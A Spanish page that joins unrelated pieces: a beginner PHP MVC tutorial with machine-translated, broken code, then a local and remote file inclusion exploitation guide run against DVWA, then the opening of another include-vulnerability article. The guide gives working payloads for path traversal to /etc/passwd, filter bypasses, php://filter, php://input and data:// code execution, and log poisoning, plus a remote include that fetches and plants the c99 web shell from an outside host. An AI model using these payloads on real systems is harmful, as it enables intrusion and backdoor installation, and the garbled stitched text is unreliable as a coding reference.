Inyección de archivos local y remota: aprovechando vulnerabilidades y sorteando filtros. Implementación de clases descendientes Modelo y Controlador, creación de Controladores de Vista C_View y C_Edit.
Muchas personas comienzan a escribir un proyecto para trabajar con una sola tarea, sin implicar que pueda convertirse en un sistema de gestión multiusuario, por ejemplo, contenido o, Dios no lo quiera, producción. Y todo parece genial y genial, todo funciona, hasta que empiezas a comprender que el código que se escribe consiste enteramente en muletas y código duro. El código se mezcla con diseño, consultas y muletas, a veces incluso ilegible. surge problema urgente: al agregar nuevas funciones, es necesario jugar con este código durante mucho tiempo, recordando "¿qué estaba escrito allí?" y maldicete en el pasado.Es posible que incluso hayas oído hablar de patrones de diseño e incluso hayas hojeado estos maravillosos libros:
- E. Gamma, R. Helm, R. Johnson, J. Vlissides “Técnicas de diseño orientada a objetos. Patrones de diseño";
- M. Fowler "Arquitectura de aplicaciones de software empresarial".
Este artículo será útil principalmente para principiantes. De todos modos, espero que en un par de horas puedas hacerte una idea de implementaciones MVC patrón que subyace a todos los marcos web modernos, y también obtiene "alimento" para una mayor reflexión sobre "cómo hacerlo". Al final del artículo hay una selección de enlaces útiles que también le ayudarán a comprender en qué consisten los frameworks web (además de MVC) y cómo funcionan.
Es poco probable que los programadores PHP experimentados encuentren algo nuevo en este artículo, ¡pero sus comentarios y comentarios sobre el texto principal serán de gran ayuda! Porque Sin teoría la práctica es imposible, y sin práctica la teoría es inútil, luego primero habrá un poco de teoría y luego pasaremos a la práctica. Si ya está familiarizado con el concepto MVC, puede omitir la sección teórica e ir directamente a la práctica.
1. Teoría El patrón MVC describe una forma sencilla de estructurar una aplicación, cuyo propósito es separar la lógica empresarial de la interfaz de usuario. Como resultado, la aplicación es más fácil de escalar, probar, mantener y, por supuesto, implementar.Veamos el diagrama conceptual del patrón MVC (en mi opinión, este es el diagrama más exitoso que he visto):
en arquitectura modelo MVC proporciona los datos y las reglas de lógica empresarial, la vista es responsable de la interfaz de usuario y el controlador proporciona la interacción entre el modelo y la vista.
Un flujo típico de una aplicación MVC se puede describir de la siguiente manera:
Esto muestra una vista de, digamos, la página principal del sitio.
que, por ejemplo, contiene llamadas a modelos que leen información de la base de datos.
El modelo no debe interactuar directamente con el usuario. Todas las variables relacionadas con la solicitud del usuario deben procesarse en el controlador.
El modelo no debe generar HTML u otro código de visualización que pueda cambiar según las necesidades del usuario. Dicho código debe procesarse en vistas.
El mismo modelo, por ejemplo: el modelo de autenticación de usuario se puede utilizar tanto en la parte de usuario como en la parte administrativa de la aplicación. En este caso se puede tomar codigo general en una clase separada y heredar de ella, definiendo métodos específicos para subaplicaciones en sus descendientes.
Ver: se utiliza para especificar la visualización externa de los datos recibidos del controlador y el modelo.
Las vistas contienen marcado HTML y pequeñas inserciones de código PHP para recorrer, formatear y mostrar datos.
No debe acceder directamente a la base de datos. Esto es lo que deberían hacer los modelos.
No debería funcionar con datos obtenidos a partir de una solicitud de usuario. Esta tarea debe ser realizada por el controlador.
Puede acceder directamente a las propiedades y métodos de un controlador o modelos para obtener datos listos para la salida.
Las vistas generalmente se dividen en una plantilla general, que contiene marcas comunes a todas las páginas (por ejemplo, un encabezado y pie de página) y partes de la plantilla que se utilizan para mostrar la salida de datos del modelo o mostrar formularios de entrada de datos.
El controlador es el pegamento que conecta modelos, vistas y otros componentes en aplicación de trabajo. El responsable del tratamiento es responsable de procesar las solicitudes de los usuarios. El controlador no debe contener consultas SQL. Es mejor mantenerlos en modelos. El controlador no debe contener HTML ni otro tipo de marcado. Vale la pena ponerlo a la vista.
En una aplicación MVC bien diseñada, los controladores suelen ser muy delgados y contienen sólo unas pocas docenas de líneas de código. Lo que no se puede decir sobre los Inspectores Gordos Estúpidos (SFC) en CMS Joomla. La lógica del controlador es bastante típica y la mayor parte se transfiere a clases base.
Los modelos, por el contrario, son muy gruesos y contienen la mayoría de código relacionado con el procesamiento de datos, porque La estructura de datos y la lógica empresarial que contiene suelen ser bastante específicas de una aplicación en particular.
Espero que ya hayas notado que diferentes sitios pueden tener resultados perfectos. diferentes formatos construyendo una barra de direcciones. Cada formato puede mostrar la arquitectura de una aplicación web. Aunque no siempre es así, en la mayoría de los casos es un hecho claro.
Consideremos dos opciones para la barra de direcciones, que muestran algo de texto y un perfil de usuario.
Código de procesamiento aproximado en este caso:
switch($_GET["action"]) ( case "about" : require_once("about.php"); // salto de página "Acerca de nosotros"; case "contacts" : require_once("contacts.php"); // salto de página "Contactos"; caso "comentarios" : require_once("feedback.php"); // salto de página "comentarios"; predeterminado: require_once("page404.php");
Creo que casi todo el mundo ha hecho esto antes.
Con un motor de enrutamiento de URL, puede configurar su aplicación para aceptar solicitudes como esta para mostrar la misma información:
http://www.example.com/contacts/feedback
Aquí los contactos representan el controlador y la retroalimentación es el método del controlador de contactos que muestra el formulario. comentario etc. Volveremos a esta cuestión en la parte práctica.
También vale la pena saber que los enrutadores de muchos marcos web le permiten crear rutas URL personalizadas (especifique qué significa cada parte de la URL) y reglas para procesarlas.
Ahora tenemos suficientes conocimientos teóricos para pasar a la práctica.
De cara al futuro, diré que las clases principales Modelo, Vista y Controlador se almacenarán en la carpeta principal.
Sus hijos se almacenarán en los directorios de controladores, modelos y vistas. El archivo index.php es el punto de entrada a la aplicación. El archivo bootstrap.php inicia la carga de la aplicación, conectando todos los módulos necesarios, etc.
Iremos de forma secuencial; Abramos el archivo index.php y rellénelo con el siguiente código:
ini_set("display_errors", 1); require_once "aplicación/bootstrap.php";
No debería haber ninguna pregunta aquí.
A continuación, vayamos inmediatamente al archivo bootstrap.php:
require_once "núcleo/model.php"; require_once "núcleo/view.php"; require_once "núcleo/controlador.php"; require_once "núcleo/ruta.php"; Ruta::inicio(); //iniciar el enrutador
Las primeras tres líneas incluirán archivos del kernel que actualmente no existen. Las últimas líneas incluyen el archivo con la clase de enrutador y lo lanzan para su ejecución llamando método estático comenzar.
RewriteEngine en RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
Este código redirigirá todo el procesamiento de la página a index.php, que es lo que necesitamos. ¿Recuerdas que en la primera parte hablamos del Front Controller?
Colocaremos la ruta en archivo separado route.php al directorio principal. En este archivo describiremos la clase Ruta, que ejecutará métodos de controlador, que a su vez generarán la vista de página.
Contenido del archivo route.php
class Ruta ( función estática start() ( // controlador y acción predeterminada $controller_name = "Main"; $action_name = "index"; $routes = explode("/", $_SERVER["REQUEST_URI"]); // get el nombre del controlador if (!empty($routes)) ( $controller_name = $routes; ) // obtiene el nombre de la acción if (!empty($routes)) ( $action_name = $routes; ) // agrega prefijos $model_name = " Model_".$controller_name; $controller_name = "Controller_".$controller_name; $action_name = "action_".$action_name // conecta el archivo con la clase de modelo (puede que no haya un archivo de modelo) $model_file = strtolower ($model_name). ".php"; $model_path = "aplicación/modelos/".$model_file; if(file_exists($model_path)) (incluye "aplicación/modelos/".$model_file; ) // conecta el archivo con la clase de controlador $controller_file = strtolower ($controller_name).php"; $controller_path = "application/controllers/".$controller_file; if(file_exists($controller_path)) (incluye "application/controllers/".$controller_file;
) else ( /* sería correcto lanzar una excepción aquí, pero para simplificar las cosas, redireccionaremos inmediatamente a la página 404 */ Route::ErrorPage404(); ) // crea un controlador $controller = new $controller_name ;
$acción = $nombre_acción; if(method_exists($controller, $action)) ( // llamar a la acción del controlador $controller->$action(); ) else ( // aquí también sería más prudente lanzar una excepción Route::ErrorPage404(); ) ) función ErrorPage404( ) ($host = "http://".$_SERVER["HTTP_HOST"]."/"; encabezado("HTTP/1.1 404 no encontrado"); encabezado("Estado: 404 no encontrado") ; encabezado(" Ubicación:".$host."404"); Observo que la clase implementa una lógica muy simplificada (a pesar del voluminoso código) y puede incluso tener problemas de seguridad. Esto se hizo intencionalmente, porque... Escribir una clase de enrutamiento completa merece al menos un artículo aparte. Veamos los puntos principales...
El elemento de matriz global $_SERVER["REQUEST_URI"] contiene
dirección completa por el cual el usuario contactó. Por ejemplo: ejemplo.ru/contacts/feedback Usando la función explotar La dirección se divide en componentes. Como resultado, obtenemos el nombre del controlador, en el ejemplo dado, este es controlador.
contactos
Así, al dirigirse a, por ejemplo, la dirección:
ejemplo.com/portfolio
o
ejemplo.com/portfolio/index
El enrutador realizará las siguientes acciones:
ejemplo.com/ufo
luego será redirigido a la página "404":
ejemplo.com/404
Lo mismo ocurrirá si el usuario accede a una acción que no está descrita en el responsable del tratamiento.2.2. Volvamos a la implementación de MVC. Vayamos a carpeta principal y agregue tres archivos más al archivo route.php: model.php, view.php y controlador.php
Permítanme recordarles que contendrán clases base, que ahora comenzaremos a escribir.
Contenido del archivo model.php
Modelo de clase (función pública get_data() ())
La clase modelo contiene un único método de recuperación de datos vacío, que se anulará en las clases descendientes. Cuando creemos clases descendientes todo quedará más claro.
Contenido del archivo view.php
class View ( //public $template_view; // aquí puedes especificar vista general por defecto. function generate($content_view, $template_view, $data = null) ( /* if(is_array($data)) ( // convierte elementos de la matriz en variables extract($data); ) */ incluye "aplicación/vistas/". $template_view;
No es difícil adivinar que el método generar destinado a formar una vista. Se le pasan los siguientes parámetros:
para mostrar el contenido de una página específica.
En nuestro caso, la plantilla general contendrá encabezado, menú, barra lateral y pie de página, y el contenido de la página estará contenido en un formulario separado. Nuevamente, esto se hace por simplicidad.
Contenido del archivo controlador.php
controlador de clase (público $modelo; público $vista; función __construct() ( $this->vista = nueva Vista(); ) función action_index() ( ) )
Método índice_acción- esta es una acción llamada de forma predeterminada; la anularemos al implementar clases descendientes.
En la figura anterior, el archivo template_view.php está resaltado por separado; esta es una plantilla que contiene marcas comunes a todas las páginas. En el caso más sencillo podría verse así:
Hogar
Para darle al sitio un aspecto presentable, diseñamos plantilla css e integrarlo en nuestro sitio web cambiando la estructura del marcado HTML y Conexiones CSS y archivos JavaScript:
Al final del artículo, en la sección “Resultado”, hay un enlace a un repositorio de GitHub con un proyecto en el que se han dado pasos para integrar una plantilla sencilla.
clase Controller_Main extiende el controlador (función action_index() ($this->view->generate("main_view.php", "template_view.php"); ) )
en método generar instancia de la clase Ver, se pasan los nombres de los archivos de la plantilla general y la vista con el contenido de la página.
Además de la acción de índice, el controlador puede, por supuesto, contener otras acciones.
Revisamos el archivo de vista general anteriormente. Considere el archivo de contenido main_view.php:
¡Bienvenido!
OLOLOSH TEAM es un equipo de especialistas de primera clase en el campo del desarrollo de sitios web con muchos años de experiencia coleccionando máscaras mexicanas, estatuas de bronce y piedra de la India y Ceilán, bajorrelieves y esculturas creadas por maestros del África Ecuatorial hace cinco o seis siglos...
Contiene marcado simple sin llamadas PHP.
Para mostrar la página principal, puede utilizar una de las siguientes direcciones:
Consideraremos un ejemplo utilizando una vista que muestra los datos obtenidos del modelo siguiente. 2.3.2. Crear una página “Portafolio” En nuestro caso, la página “Portafolio” es la única página que utiliza el modelo.
El modelo suele incluir métodos de muestreo de datos, por ejemplo:
Coloque el archivo de modelo model_portfolio.php en la carpeta de modelos. Aquí tenéis su contenido:
clase Model_Portfolio extiende el modelo ( función pública get_data() ( return array(array("Año" => "2012", "Sitio" => "http://DunkelBeer.ru", "Descripción" => "Sitio promocional de la cerveza oscura Dunkel de fabricante alemán Löwenbraü producido en Rusia por la empresa cervecera "SUN InBev."), array("Año" => "2012", "Sitio" => "http://ZopoMobile.ru", "Descripción" => "Idioma ruso catalogar teléfonos chinos empresa zopo en Basado en Android SO y accesorios para ellos."), // todo); ) )
La clase de controlador del modelo está contenida en el archivo controlador_portfolio.php, aquí está su código:
clase Controller_Portfolio extiende Controlador ( function __construct() ($this->model = new Model_Portfolio(); $this->view = new View(); ) function action_index() ($data = $this->model->get_data( ); $this->view->generate("portfolio_view.php", "template_view.php", $datos ) );
a una variable datos se escribe la matriz devuelta por el método obtener_datos que vimos antes.
Luego, esta variable se pasa como parámetro del método. generar, que también contiene: el nombre del archivo con la plantilla general y el nombre del archivo que contiene la vista con el contenido de la página.
La vista que contiene el contenido de la página se encuentra en el archivo portfolio_view.php.
Cartera
Año | Proyecto | Descripción |
Aquí todo es sencillo, la vista muestra los datos obtenidos del modelo. 2.3.3. Crear las páginas restantes Las páginas restantes se crean de la misma manera. Su código está disponible en el repositorio de GitHub, cuyo enlace se proporciona al final del artículo, en la sección "Resultado".3. Resultado Esto es lo que sucedió al final:
Captura de pantalla del sitio web de tarjetas de presentación resultante
Enlace de GitHub: https://github.com/vitalyswipe/tinymvc/zipball/v0.1
Pero en esta versión esbocé las siguientes clases (y sus tipos correspondientes):
- Controller_Login en el que se genera una vista con un formulario para ingresar nombre de usuario y contraseña, luego de completarlo se realiza el procedimiento de autenticación y, si tiene éxito, se redirige al usuario al panel de administración.
- Contorller_Admin con una acción de índice que verifica si el usuario estaba previamente autorizado en el sitio como administrador (si es así, se muestra la vista del panel de administración) y una acción de cierre de sesión para cerrar sesión.
Pero no siempre es recomendable utilizar frameworks web como Yii o Kohana, que constan de varios cientos de archivos, al desarrollar aplicaciones web simples (por ejemplo, sitios de tarjetas de presentación). Ahora podemos crear un hermoso modelo MVC para no mezclar Php, Html, CSS y código javascript en un archivo.
Este artículo es más un punto de partida para aprender CMF que un ejemplo de algo realmente correcto que puede utilizar como base para su aplicación web. Quizás incluso te haya inspirado y ya estés pensando en escribir tu propio microframework o CMS basado en MVC. Pero, antes de reinventar otra rueda con “blackjack y putas”, piénsalo de nuevo: ¡¿tal vez sería más razonable dirigir tus esfuerzos al desarrollo y ayuda a la comunidad de un proyecto ya existente?!
P.D.: El artículo fue reescrito teniendo en cuenta algunos comentarios dejados en los comentarios. La crítica resultó muy útil. A juzgar por la respuesta: comentarios, MP y la cantidad de usuarios que agregaron la publicación a favoritos, la idea de escribir esta publicación resultó no ser tan mala. Desafortunadamente, no es posible tener en cuenta todos los deseos y escribir más y con más detalle debido a la falta de tiempo... pero tal vez esos misteriosos individuos que rechazaron la versión original lo hagan. ¡Buena suerte con tus proyectos!
5. Una selección de enlaces útiles sobre el tema El artículo toca muy a menudo el tema de los frameworks web; se trata de un tema muy amplio, porque incluso los microframeworks constan de muchos componentes inteligentemente interconectados y se necesitaría más de un artículo para hablar de ellos. componentes. Sin embargo, decidí presentar aquí una pequeña selección de enlaces (que seguí mientras escribía este artículo) que de una forma u otra se relacionan con el tema de los marcos.Etiquetas: Agregar etiquetas
A veces la inyección de archivos se llama inclusión, a veces se considera parte de la inyección de PHP (inyección de código). Esto último no es del todo cierto, ya que las vulnerabilidades de inyección de archivos no están necesariamente relacionadas con la ejecución del código.
La vulnerabilidad puede ocurrir al usar (en PHP) expresiones como:
- requerir_una vez,
- incluir_una vez,
- incluir,
- requerir
Cada uno de ellos tiene pequeños matices, pero lo que tienen en común es que incluyen un archivo en el programa y lo ejecutan. Estas expresiones pueden causar problemas si pasan la entrada del usuario y el programa no las filtra lo suficiente.
Por cierto, sí, son expresiones, no funciones. No es necesario escribir así:
Requerir("algunarchivo.php");
Una opción más preferible es:
Requerir "algún archivo.php";
Pero ésta es una retirada que no tiene nada que ver con la vulnerabilidad.
Si los archivos se incluyen utilizando las expresiones require_once, include_once, include, require, entonces podemos decir que la inyección de código también se produce al mismo tiempo. Sin embargo, es posible incluir archivos sin ejecutar código en el servidor. Por ejemplo, el sitio web cambia. apariencia basado en el tema elegido por el usuario. Los nombres de los temas corresponden. título HTML archivos que se leen en el servidor. En esta situación, si la solicitud se forma de tal manera que se lee un archivo que no está diseñado para esto (por ejemplo, un archivo PHP), en lugar de ejecutar los comandos, se mostrará código fuente PHP.
El usuario puede especificar un archivo remoto o local como archivo de inclusión. En base a esto, se distinguen dos variedades correspondientes:
- inyección de archivos locales
- inyección remota de archivos
El peligro de la inclusión remota es la ejecución de código arbitrario en un servidor vulnerable. Esto generalmente se usa para infecciones de puerta trasera.
Peligro implementación local archivos es que el usuario puede mostrar el contenido de archivos para los que no tiene derecho a ver (códigos fuente de programas, archivos del sistema con configuraciones y contraseñas). Además, con la inclusión local, es posible ejecutar código de terceros (por ejemplo, para una infección de puerta trasera), si previamente se cargó un archivo con código malicioso en el servidor, o se utilizó el método de envenenamiento de registros, o algún otro método.
La inclusión local de archivos no es menos peligrosa que la introducción de archivos remotos.
Explotación de la incrustación de archivos localesPuede probar esta vulnerabilidad en Damn Vulnerable Web Application (DVWA). Estoy usando Web Security Dojo, donde DVWA ya está instalado.
Empecemos por un nivel bajo (seguridad DVWA baja).
Vayamos a la página de inclusión de archivos http://localhost/dvwa/vulnerabilities/fi/?page=include.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file3.php
Si se pasa un valor similar a un nombre de archivo (archivo1.php, archivo2.php) como argumento a una variable, entonces podemos asumir que se está utilizando una inclusión. Dado que la extensión del archivo es .php, lo más probable es que el archivo se ejecute en el servidor (es decir, es posible la inyección de código) y no solo se muestre para su visualización.
DVWA tiene una página http://localhost/dvwa/about.php, está ubicada dos niveles arriba, intentemos verla de esta manera: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ acerca de.php
Sí, existe una vulnerabilidad de inclusión local. Al ingresar, las transiciones a los directorios superiores (../) no se filtran; la lista de archivos para inclusión no es exhaustiva (en lugar del archivo sugerido*.php, elegimos about.php).
A veces se utilizan archivos incluidos, pero las direcciones pueden verse, por ejemplo, así: http://localhost/dvwa/vulnerabilities/fi/?page=file1. En este caso, se puede agregar una extensión al script y el script incrusta un archivo cuyo nombre finalmente se forma en el script. Como regla general, una vulnerabilidad de esta forma es difícil o imposible de explotar.
A menudo, como ejemplo de explotación de la inclusión de un archivo local, les gusta dar algo como esto:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
Como podemos ver, funcionó. Pero como los navegadores web ignoran /r/n (los caracteres nueva linea), entonces necesitamos abrir el código fuente para que las entradas sean legibles:
Desafortunadamente, no hay contraseñas en el archivo /etc/passwd durante mucho tiempo.
Puedes extraerlo del servidor. diferentes archivos configuración, certificados SSL, en principio, cualquier archivo que esté abierto para su lectura por todos los usuarios o para el cual el servidor web tenga derechos suficientes para leer:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf
En cuanto a los hostings compartidos, a veces puedes buscar en las carpetas de otras personas (nuevamente, cuando configuración incorrecta derechos de usuario).
http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db
La tarea se complica por el hecho de que necesitamos saber la ruta al archivo.
Explotando la inyección remota de archivosPHP es un lenguaje de programación muy flexible y fácil de desarrollar. Los comandos para introducir archivos y algunos otros reconocen perfectamente y procesan correctamente no solo archivos locales, pero también la URL...
Intentemos escribir la URL del sitio https://site/ en lugar del nombre del archivo:
http://localhost/dvwa/vulnerabilities/fi/?page=https://site/
Mira que interesante resulta:
Sucedió lo siguiente: el intérprete PHP recibió un comando para incluir el archivo/sitio https://site/. Abrió/descargó la dirección correspondiente y envió el código resultante para su ejecución como programas PHP. Debido a que PHP sólo ejecuta código rodeado por etiquetas apropiadas (en en este caso no había ningún código), y todo lo demás se muestra tal cual, luego toda la página del sitio web se muestra tal cual.
Por supuesto, esta vulnerabilidad nos interesa no porque podamos ver otros sitios a través de un sitio.
Resalté la palabra "texto" porque en el servidor bajo nuestro control debería haber un archivo de texto que no debería ejecutarse en nuestro servidor. Nuestro servidor sólo necesita mostrar su contenido.
Para crear una puerta trasera, puede utilizar Weevely, PhpSploit o tomar soluciones ya preparadas. Esta vez usemos uno ya hecho.
Asignaré a la variable $backdoor el código fuente de la puerta trasera, que descargo de Github. Luego uso la función file_put_contents para guardar el código fuente resultante en el archivo c99unlimited.php.
El código lo he colocado en un archivo de texto.
$puerta trasera = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$puerta trasera"); eco "¡hecho!";
Está disponible en http://miloserdov.org/sec.txt
Ahora, usando una inclusión remota, cargamos una puerta trasera a un servidor vulnerable.
http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt
Preste atención a la inscripción ¡Listo!, se muestra en el guión, es decir. Probablemente todo salió bien.
Dado que el script que incluye los archivos se encuentra en el directorio http://localhost/dvwa/vulnerabilities/fi/, y nuestro nuevo archivo con la puerta trasera debería haberse guardado con el nombre c99unlimited.php, la dirección completa de la puerta trasera en el servidor vulnerable debería ser: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php
Comprobamos:
Genial, ahora tenemos todas las funciones que un administrador de servidor web podría necesitar... y aquellos que tienen acceso a su servidor.
Omitir el filtrado al incluir archivos localmentePasemos a nivel intermedio(media) seguridad (configurable en DVWA Security).
Si miramos el código fuente (botón Ver código fuente):
luego veremos que los caracteres ../ ahora están filtrados. Esto evitará que nos traslademos a un directorio superior a aquel en el que se ejecuta el script vulnerable.
Aquellos. nada funcionará así:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf
Pensemos en cómo funciona el filtrado en este caso. Digamos que se filtra la palabra "malo", luego aparece una línea como
bueno malo bueno
después de filtrar se verá así:
bien bien
Y si insertas una línea como esta
malo malo xo
luego, después de filtrar (se eliminará lo "malo"), resultará
Gravemente
En ../ insertamos ../ en el medio nuevamente, resulta ..././
Probemos con esta dirección http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / mi.cnf
¡Funcionó!
Otra solución podría ser codificar caracteres en codificación hexadecimal, un ejemplo de esta línea:
http://ejemplo.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
"../" se puede sustituir por "%2E%2E%2f".
También se practica la codificación hexadecimal doble, en la que “../” se reemplaza por “%252E%252E%252F”
Inclusión local de archivos al agregar una extensión en un scriptSi el código que incluye archivos se ve así:
Aquellos. Si se agrega un .php o alguna otra extensión a cualquier entrada del usuario, esto no permite que la solicitud se forme de tal manera que se pueda llevar a cabo un ataque.
Existen varias técnicas que están diseñadas para descartar la extensión, pero pueden considerarse obsoletas ya que funcionan en PHP 5.3, y aun así no en todas las versiones. Sin embargo, los administradores de servidores web son clínicamente conservadores y prefieren no tocar nada si funciona. Aquellos. Existe la posibilidad de encontrar un servidor con una versión muy antigua de PHP y usted debe conocer estas técnicas.
Usando el byte nulo %00 (byte nulo)
Se agrega un byte nulo al final de la solicitud para ignorar la extensión:
http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00
El segundo método se llama ataque de poda de ruta. La conclusión es que PHP trunca rutas de más de 4096 bytes. En este caso, PHP abre el archivo correctamente, incluso si hay barras y puntos al final de su nombre. Si pasa como parámetro algo como?param1=../../../../etc/passwd/./././././ (donde ./ se repite miles de veces), entonces el archivo final junto con la extensión (que agregó el script, como resultado de lo cual el nombre del archivo pasó a incluir/../../../../etc/passwd/./././././ .php) será descartado. Y el nombre del archivo será include/../../../../etc/passwd/./././././. Y dado que PHP no se confunde con las barras diagonales y ./ al final del archivo, simplemente las ignora, entonces total PHP abrirá el archivo en include/../../../../etc/passwd.
Omitir el filtrado para la inyección remota de archivosComo ya vimos en el código fuente, el nivel de seguridad medio también filtra http:// y https://.
Ahora http://localhost/dvwa/vulnerabilities/fi/?. Usaremos exactamente la misma técnica que para evitar el filtrado con inclusión local. Solicitud generada:
http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/
Y también tenga en cuenta que no se filtra, por ejemplo ftp, es decir. Esta opción funcionaría sin ningún truco:
http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/
Obteniendo el código fuente scripts PHP al incluir archivos de php://filterEste truco no requiere la inclusión remota de archivos. Se utilizará una especie de meta contenedor php://filter.
Digamos que queremos ver el código fuente del archivo file1.php, entonces, para nuestra situación, la solicitud estará compuesta de esta manera:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
Preste atención a la cadena sin sentido de letras y números: este es el código fuente del archivo file1.php en codificación base64. Como es base64, también se admiten archivos binarios.
Decodificamos el archivo:
Ejecución remota de código con php://inputEsto no es como incrustar archivos y nuevamente no requiere que cargue archivos.
Para ayudar, usaré la extensión Firefox, también puedes usarla o cualquier otro programa (por ejemplo, curl) que pueda transferir datos usando el método POST.
php://input tiene acceso al cuerpo sin formato de la solicitud HTTP. Para comprender qué hace include("php://input"), abra la página
http://localhost/dvwa/vulnerabilities/fi/?page=php://input
Y en el cuerpo de la solicitud enviar PHP correcto código (por ejemplo, utilizando el método POST). Esto le permitirá realizar cualquier actividad permitida. servidor remoto¡función!
Ejecución remota de código con datos://
Además, PHP admite el esquema de URL data://. Puede colocar el código directamente en. OBTENER parámetro! La siguiente prueba no requiere ninguna herramienta especial, sólo un navegador normal para realizar el ataque.
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,
Algunos firewalls de aplicaciones web pueden detectar una cadena sospechosa en una URL y bloquear la solicitud maliciosa. Pero hay una manera de cifrar la cadena con al menos codificación base64:
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
Ejecute comandos arbitrarios desde /proc/self/environ/proc/self/environ es el almacenamiento variables de proceso. Si el proceso Apache tiene derechos suficientes para acceder a él, al abrir una página web que contenga una inclusión con una URL similar,
www.website.com/view.php?page=../../../../../proc/self/environ
generará algo como
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Versión/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [correo electrónico protegido] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Preste atención a HTTP_USER_AGENT. En su lugar, puede sustituir el código PHP correcto, que se ejecutará en un servidor remoto.
Grabado e inyección de registros al incluir archivos localmenteDesafortunadamente, en los últimos Versiones de apache este método ya no funciona.
Su esencia radica en el hecho de que el código del atacante se inyecta en los registros del servidor web. Esto se puede hacer reemplazando User-Agent o incluso simplemente pasándolo en un parámetro GET.
Inyección estática de un archivo remoto.Un ejemplo de estática incluye:
Puedes utilizar una inclusión estática en situaciones muy exóticas. Para inyectar código malicioso es necesario realizar un ataque man-in-the-middle entre dos servidores: uno de los cuales aloja la aplicación web mediante la inclusión y el segundo aloja el archivo utilizado para la inclusión.
ConclusiónLa mayoría de los ejemplos proporcionados aquí requieren ciertas condiciones, que se reducen a una configuración incorrecta del servidor. Aquellos. En pocas palabras, no todos los métodos que se muestran aquí funcionarán en la mayoría de los servidores web.
En este artículo, le contaré sobre una de las vulnerabilidades más comunes que se encuentran en los scripts PHP: el "error" de inclusión. Aprenderá tanto el principio de funcionamiento como algunas formas de eliminar esta vulnerabilidad.
¡¡¡Atención!!! ¡Toda la información presentada en este artículo es solo para fines informativos! ¡El autor no asume ninguna responsabilidad por su uso malicioso!
La vulnerabilidad php-include es uno de los "agujeros" más famosos, pero también el más común, que se encuentran en los scripts PHP en la actualidad. Ocurre cuando, por falta de atención, desconocimiento o por alguna otra razón que sólo él conoce, el programador permite que los datos pasados al script en forma de parámetros se utilicen sin cheque adicional(dichos datos también se denominan "etiquetados") como parámetro mediante la función de inclusión. Para comprender mejor el principio de funcionamiento de esta vulnerabilidad, es necesario tener cierta comprensión de la función mencionada anteriormente.
La función PHP incluye y también incluye_once
Esta función se utiliza para conectarse a ejecutando php script de módulos de software adicionales. Además, a diferencia de require, que es similar en propiedades, la función include ejecuta estos módulos directamente en su proceso. En consecuencia, los módulos adjuntos de esta manera no se ejecutarán como scripts separados, sino como partes del script que los conecta. Más precisamente, incluir ejecutará solo la parte del archivo que está encerrada entre especial. etiquetas:
""
Todo lo demás simplemente se genera mediante php como texto. Aquellos. Si conecta un archivo de texto (por ejemplo: /etc/passwd:)) que no contiene las etiquetas especificadas, el intérprete devolverá todo el contenido de este archivo.
Llamada de ejemplo:
Como probablemente habrás notado, la función de inclusión tiene solo 1 parámetro ($file), que especifica la ruta y el nombre del archivo del complemento. También vale la pena señalar que en sistemas tipo Unix (dependiendo de configuración de php) como parámetro puede pasar no sólo la ruta y el nombre del archivo, sino también la URL (dirección de Internet) del archivo (!!!).
Práctica
Supongamos que lo siguiente está instalado en algún servidor WEB secuencia de comandos php(su URL es http://www.superpupersite.com/index.php):
Y también muchos módulos de script complementarios diferentes para ello:
inicio.php
comentarios.php
...
El autor de este script asumió que todos los visitantes del sitio pasarían pacíficamente de una página a otra haciendo clic en botones, enlaces y otros objetos de control. Y el script, dependiendo del parámetro del archivo pasado, adjuntará uno u otro módulo, generando así varias páginas html (la mayoría de las veces se usa include).
